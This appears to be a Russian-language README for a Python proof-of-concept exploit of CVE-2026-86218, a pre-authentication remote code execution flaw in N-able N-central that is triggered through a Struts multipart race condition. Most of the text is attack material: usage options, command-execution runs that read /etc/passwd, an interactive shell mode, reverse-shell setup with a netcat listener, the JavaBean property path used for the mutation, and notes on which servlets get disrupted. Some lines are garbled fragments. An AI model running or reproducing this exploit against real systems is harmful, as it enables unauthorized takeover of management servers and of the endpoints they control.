
Python 3 proof-of-concept эксплойт для CVE-2026-86218 — pre-auth RCE в N-able N-central через состояние гонки в multipart-обработке Struts, с поддержкой выполнения команд и reverse shell.
Это proof-of-concept эксплойт на Python 3 для CVE-2026-86218 — критической уязвимости удалённого выполнения кода до аутентификации в N-able N-central.
Сведения об уязвимости:
N-able N-central использует привязанную к сессии форму Struts в неаутентифицированном действии (/remoteControlAction.do). Два одновременных multipart-запроса могут вызвать состояние гонки в multipart-обработчике формы и раскрыть живую конфигурацию Jetty для заполнения свойств через Commons BeanUtils. Это позволяет атакующему:
/bin/sh -spip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| Опция | Описание |
|---|---|
-t, --target | URL целевого N-central (например, https://192.168.1.100) |
-c, --command | Одна команда для выполнения |
-i, --interactive | Интерактивный режим команд |
--lhost | IP слушателя для reverse shell |
--lport | Порт слушателя (по умолчанию: 4444) |
--servlet | Сервлет для замены: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | Проверить, уязвима ли цель |
--no-verify-ssl | Отключить проверку SSL-сертификата |
--timeout | Таймаут запроса (по умолчанию: 30s) |
--race-delay | Задержка состояния гонки (по умолчанию: 0.35s) |
-v, --verbose | Включить подробный вывод |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
Ожидаемый вывод:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
Ожидаемый вывод:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
Сначала запустите слушатель:
nc -lvnp 4444
Запустите эксплойт:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
Ожидаемый вывод:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
Вывод слушателя:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
Интерактивная сессия:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Сервлет | Описание | Влияние |
|---|---|---|
LogRetrieval | Конечная точка получения логов (по умолчанию) | Наименее разрушительно, логи недоступны до перезапуска |
FileTransfer | Конечная точка передачи файлов | Нарушает функциональность передачи файлов |
AutomationManagerDownloadServlet | Загрузка менеджера автоматизации | Требует порт интерфейса управления (8443) |
/remoteControlAction.do для извлечения версии со страницы ошибкиУязвимость эксплуатирует состояние гонки в обработке multipart-форм Struts:
Поля мутации используют пути свойств JavaBean:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
Это проходит через: multipart-обработчик → контекст сервлета → загрузчик классов → WebAppContext → обработчик сервлетов → конкретный держатель
/remoteControlAction.doЭтот эксплойт предоставлен исключительно для авторизованного тестирования безопасности и образовательных целей. Неавторизованное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения, является незаконным и неэтичным.
Всегда получайте надлежащее разрешение перед проведением работ по тестированию на проникновение.